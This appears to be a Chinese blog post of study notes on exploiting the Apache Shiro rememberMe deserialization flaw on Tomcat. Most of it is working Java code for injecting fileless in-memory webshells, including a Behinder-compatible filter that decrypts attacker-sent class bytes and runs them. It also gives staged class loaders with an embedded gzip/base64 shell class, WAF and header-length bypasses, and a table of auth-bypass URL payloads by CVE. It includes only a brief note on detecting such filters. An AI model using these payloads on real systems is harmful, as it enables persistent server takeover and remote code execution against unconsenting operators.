炒个冷饭,主要还是对反序列化漏洞利用方式的学习,目前只测试了tomcat环境,后面再将weblogic的部分补一补。
Shiro反序列化
测试环境:
-
https://github.com/phith0n/JavaThings/blob/master/shirodemo -
Tomcat 9.0.59 -
前期测试适配内存马时可以修改Tomcat的/conf/server.xml配置文件方便测试,添加一个
maxHttpHeaderSize="40960000"
漏洞原理
从key所在的位置org.apache.shiro.mgt.AbstractRememberMeManager 开始跟,先看到getRememberedPrincipals 方法,该方法把SubjectContext 转化成 PrincipalCollection ,中间还将cookie数据解码。
base64解码的逻辑在CookieRememberMeManager#getRememberedSerializedIdentity
将解码后的 byte 数组传入 convertBytesToPrincipals 中进行decrypt ,使用 AesCipherService 进行解密。
然后看deserialize的处理过程,到DefaultSerializer#deserialize 进行反序列化。
测试的话把payload写在remeberMe那
漏洞探测
-
判断是否是shiro
-
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
-
判断Shiro正确的key
-
使用URLDNS链进行出网探测 java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn
-
命令执行的利用链执行延迟命令 -
一种另类的 shiro 检测方式
1.构造一个继承 PrincipalCollection 的序列化对象,即SimplePrincipalCollection类。 2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe 。 SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
利用链
CC链,CB链(原理之前写过在 反序列化漏洞-Shiro(CommonsBeanutils利用链)这篇文章里),利用链还得看具体环境。
内存马写入
获取到request,response和session,把字节码传入然后调用defineClass动态加载此类。
适配冰蝎内存马
request和session对象
request对象可以通过其doFilter方法参数中传递的ServletRequest获得,而session可以通过request.getSession()获得
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
pageContext对象
pageContext对象为jsp九大内置对象,在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道,在冰蝎的代码中,服务端需要从pageContext对象中获取出request/response/session。
PageContext是一个抽象类,在早期版本中需要自己去实现一个类如:EvilPageContext
而在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
类加载器
冰蝎生成的shell通常都是自定义一个classloader类U,但在打内存马的时候是无法成功的,需要用反射去进行defineClass,就像上面注入的类加载器一样。
最终实现代码:
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Behinder3Filter implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Behinder3Filter behinderFilter = new Behinder3Filter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception ex) {
ex.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
冰蝎4.0后对于webshell的逻辑来说主要是增加了自定义解码器,类加载的逻辑和3.0的版本并无不同,以default_xor_base64编码器为例,修改解码逻辑即可连接
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});
}
catch (Throwable e) {
try {
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder= null;
Decoder = baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});
} catch (Exception ex) {
throw new RuntimeException(ex);
}
}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
try {
Method defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs, 0, decodebs.length);
cc.newInstance().equals(pageContext);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
Cookie长度限制绕过
waf直接拦截过长的rememberMe Cookie
- 未知HTTP请求方法 如GET换成XXX 或者删除
- https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/
写入内存马时payload过长
- 修改maxHTTPHeaderSize
- 反序列化一个加载器,从POST请求体中发送恶意字节码(推荐)
- 分离加载 先写入gzip压缩后的class bytes 再通过class.forName加载
动态类加载+POST传参字节码
通过反序列化获取一个类加载器,并获取到request对象以获得当前请求传参的数据。
获取Request对象(Tomcat)
通常为遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象,这里介绍两种方法
Thread.currentThread().getContextClassLoader().getResource().getContext() (Tomcat7不可用,且由于exp代码中需要多个循环去获取属性,使得生成的payload还是过大,需要精简一下exp中的变量以及变量名,同时把其他不必要的请求去掉)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TomcatClazzLoader extends AbstractTranslet {
static {
try {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (connectors[i].getScheme().contains("http")) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
getHandlerMethod.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
if (requestInfo.getCurrentUri().contains("aaa")){
System.out.println("success");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData = request.getParameter("classData");
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length);
Class.forName(cc.getName());
break;
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
- 使用 java-object-searcher 内存对象搜索工具,查找另一个存储了
AbstractProtocol$ConnectoinHandler 的对象。基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (更通用的Request获取方法,且payload大小显著减少)
-
-
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YvorZ8KA-1664108153506)(C:\Users\10725\AppData\Roaming\Typora\typora-user-images\image-20220921013243518.png)] -
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Z2pqtws-1664108153506)(C:\Users\10725\AppData\Roaming\Typora\typora-user-images\image-20220921013219203.png)] import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;
import java.util.List;
public class TomcatClazzLoader2 extends AbstractTranslet {
static {
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (threadName.contains("Poller") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
Request tempRequest = (Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
String classData = request.getParameter("classData");
if (classData != null){
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(TomcatClazzLoader2.class.getClassLoader(), classBytes, 0, classBytes.length);
Class.forName(cc.getName());
flag = true;
break;
}
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
写入内存马
现在有了类加载器,那就可以写入内存马了。将上面的类加载器的payload加在Cookie: rememberMe字段,与要加载的内存马字节码的base64编码post传过去。
tips
-
这里不能使用之前学习内存马当中用的 Tomcat中一种半通用回显方法方法获取Request对象了,因为shiro是在filter chain处理逻辑的地方出现的漏洞(rememberMe功能就是ShiroFilter的一个模块),还没进入到cache request的操作中,自然就无法获取到了。 -
TemplatesImpl类当中,每次defineClass都会new一个自己的ClassLoader(如下图,在TemplatesImpl中),所以前后两个类没法互相访问,所以也不能使用分次加载调用。
-
在注入的类加载器中想要重复加载同名类就使用TomcatClazzLoader.class.getClassLoader() ,因为上一条tip的缘故每次都是新的类加载器;若是需要访问上一次加载的类则使用Thread.currentThread().getContextClassLoader()
class.forName分离加载class bytes(gzip压缩)
tomcat结合shiro无文件webshell的技术研究以及检测方法
查看Class.forName的实现过程可发现其会查找classloader的classes字段。
那么事先将defineClass的结果,即要注入的内存马类,添加到classloader的classes字段。再第二次请求时Class.forName直接获取这个内存马类从而减少单次payload的长度。
再配合gzip压缩内存马类的字节码,使得前面定义类到JVM的payload再次减少。
压缩编码工具类
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;
public class ClassBytesCompress {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchMethodException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(ShellFilterNoLoader.class.getName());
byte[] evilclass_byte = clazzz.toBytecode();
System.out.println(Base64.getEncoder().encodeToString(compress(evilclass_byte)));
}
public static byte[] compress(byte[] encodeBuffer){
ByteArrayOutputStream out = new ByteArrayOutputStream();
try{
GZIPOutputStream gzip = new GZIPOutputStream(out);
gzip.write(encodeBuffer);
gzip.close();
} catch (IOException e) {
throw new RuntimeException(e);
}
return out.toByteArray();
}
}
不过这里编码用的内存马只能用最简单的内存马,用上面适配冰蝎的就超出长度了。
定义类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Vector;
import java.util.zip.GZIPInputStream;
public class DefineFilterClass extends AbstractTranslet {
static {
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "H4sIAAAAAAAAAI1VXXsTRRR+J1+TpEuRQimxBSxKm1AkqFAlQUQqSDBtY4PFil+bZNJuSXbDZoPl13jptTcF9Hl8uPLCX8Jf4EZ8dxLTpAkpFzszez7mvOecd2b++fePvwBcwoM4DuO6xOcSN6K4OIYAluL4Ajf94VYcX+K2RC6OGO74w1djCCIfxzJWJFYlChJfC0SuWrblXRMIJlPrAqElp6IEDuctW6206iXl3jVLNUom8k7ZrK2bruX/d4Qhb8tqCszml1XdcR8Xt1StltbjLavmKXfFyTtmRblZmvphBE4n89vmI3Mn3VTuo5ry0m3DJceuWptZH4FR7ZEIzIyyF4jf3Cmrhmc5dlNiTSBacdoWAvf3hyq25zX1sKWaXvZ12maDm6n96k7cLdOyNcwxy260vKLnKrMuMKmt05aTzu2JCe9oqVWtKldVcr3WJ7vWNwbV9ArWlC0gcgLjzT7MAqdG58TONfvzYMkPSJS5VPeSE5gekTmxueqhwPw+my3Pa6RvcxjAE3IZR2B/LwYdumiC5XrF55uuUc20N9MsjGX73T5U9Mzyg2WzofmnWVyUuCvxTfsUSKxL3CPpJb4VkBVCcJ3HZEnRabllxUxYjxNDCHrBD2bgCCYEzr5RagJzb5aRgQ18J3HfwPf4wcCP+EniZwMmSiz1CB74aMoGKuAOVWxKbBmwsM1+HnDYBN7aK91qaVuVCfbYsJ6STkOp0T1TPH6j6EYmj6SWQOK1VOpD2W4wj8uQU9QrXe1BZmwqr2C6Zl3pTOaSg4RJDePQkT3ZWsv2rDphxrlX92cy2evXEftMVjuqTOofEKjgOmXVbPZH6gh5oBmpL7mp/6MN3B0nkkMV+pbmqqKvbN4RMW55z7V0FXp3KxBaR5HtKWKPWCD8i7/ghslcah2zGOeLws7weQlx5nHgeJR/ac6Cc/jcE4jfuQjgGMeIFsYxydFoG+A4pjgTPhK08p0va3sMOo5rx+NtZcfRX72NaY4zHRQn+Z3C6fZmYpaPWJyawsJzBDKh888RzIQToYnQM4QDyEQSkb+x+BScdyF3Ec3IPxHbSMgniGeiieguxjYWY4FfMZEIP4PBbsd2cei3Vy98bEGNbY5vJZh5hPEMSqaIcoboUlxdYlLXiW+VqHzsVWJJ0eMd1k5SO40zeBdRXKXvezirdyp0MyvQcl5nXkCSfgG9OocFRo7gDs7jfWZs8PW+wIqH6XUFF/EBdR/Sch6BVwwRk/iIoSQuSyxKfCzxicQViYxEFnhJcDO6wAGC8Ev3abeJC7q4Q/pwpqeBotvAa9rqs/8A0GWnXW8IAAA=";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(b64Decoder.decodeBuffer(codeClass));
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
byte[] evilclass = out.toByteArray();
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class evilClass = (Class) defineClassMethod.invoke(currentClassloader, evilclass, 0, evilclass.length);
java.lang.reflect.Field currentCladdloaderClasses = Class.forName("java.lang.ClassLoader").getDeclaredField("classes");
currentCladdloaderClasses.setAccessible(true);
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
加载类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class LoaderShell extends AbstractTranslet {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Class filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Object filterDef = filterDefClass.newInstance();
Method filterDefsetFilterName = filterDefClass.getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, name);
// 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找
Method filterDefsetFilter = filterDefClass.getMethod("setFilter", Filter.class);
//通过class.forname查找我们待加载的Filter,后面调用newInstance实例化
Class evilFilterClass = Class.forName("ShellFilterNoLoader");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
standardContext.addFilterDef((FilterDef) filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
发两个payload,第一个将内存马类定义,第二个去实例化内存马类然后注册到filter里。
Filter类型的内存马查杀
- jvisualvm安装MBean插件,查看
Catalina/Filter 节点中的数据,检查是否存在未知已经怪异名称的节点,或者没有在web.xml中配置的filter,或者filterClass为空的Filter。
权限绕过
这篇文章总结的很详细,这里转载一下文章中的总结表格。
Shiro 历史漏洞分析
漏洞编号 | Shiro版本 | 配置 | 漏洞形式 |
---|
CVE-2010-3863 | shiro < 1.1.0 和JSecurity 0.9.x | /** = anon | /./remoting.jsp | CVE-2014-0074 /SHIRO-460 | shiro 1.x < 1.2.3 | - | ldap 、空密码、空用户名、匿名 | CVE-2016-6802 | shiro < 1.3.2 | Context Path 绕过 | /x/../context/xxx.jsp | CVE-2020-1957 /SHIRO-682 | shiro < 1.5.2 | /** = anon | /toJsonPOJO/ ,Spring Boot < 2.3.0.RELEASE -> /xx/..;/toJsonPOJO | CVE-2020-11989 / SHIRO-782 | shiro < 1.5.3 | (等于1.5.2)/toJsonList/* = authc ;(小于1.5.3)/alter/* = authc && /** = anon | (等于1.5.2)/ 的两次编码 -> %25%32%66 /toJsonList/a%25%32%66a ->/toJsonList/a%2fa ;(小于1.5.3)/;/shirodemo/alter/test -> /shirodemo/alter/test (Shiro < 1.5.2 版本的话,根路径是什么没有关系) | CVE-2020-13933 | shiro < 1.6.0 | /hello/* = authc | /hello/%3ba -> /hello/;a | CVE-2020-17510 | shiro < 1.7.0 | /hello/* = authc | /hello/%2e -> /hello/. (/%2e 、/%2e/ 、/%2e%2e 、/%2e%2e/ 都可以) | CVE-2020-17523 | shiro < 1.7.1 | /hello/* = authc | /hello/%20 -> /hello/%20 | CVE-2021-41303 | shiro < 1.8.0 | /admin/* = authc && /admin/page = anon | /admin/page/ -> /admin/page | CVE-2022-32532 | shiro < 1.9.1 | RegExPatternMatcher && /alter/.* | /alter/a%0aaa -> /alter/a%0aaa ;/alter/a%0daa -> /alter/a%0daa |
参考
Shiro反序列化与Tomcat内存马注入学习
利用shiro反序列化注入冰蝎内存马
Shiro 550 漏洞学习 (二):内存马注入及回显
Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案
Shiro 历史漏洞分析
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
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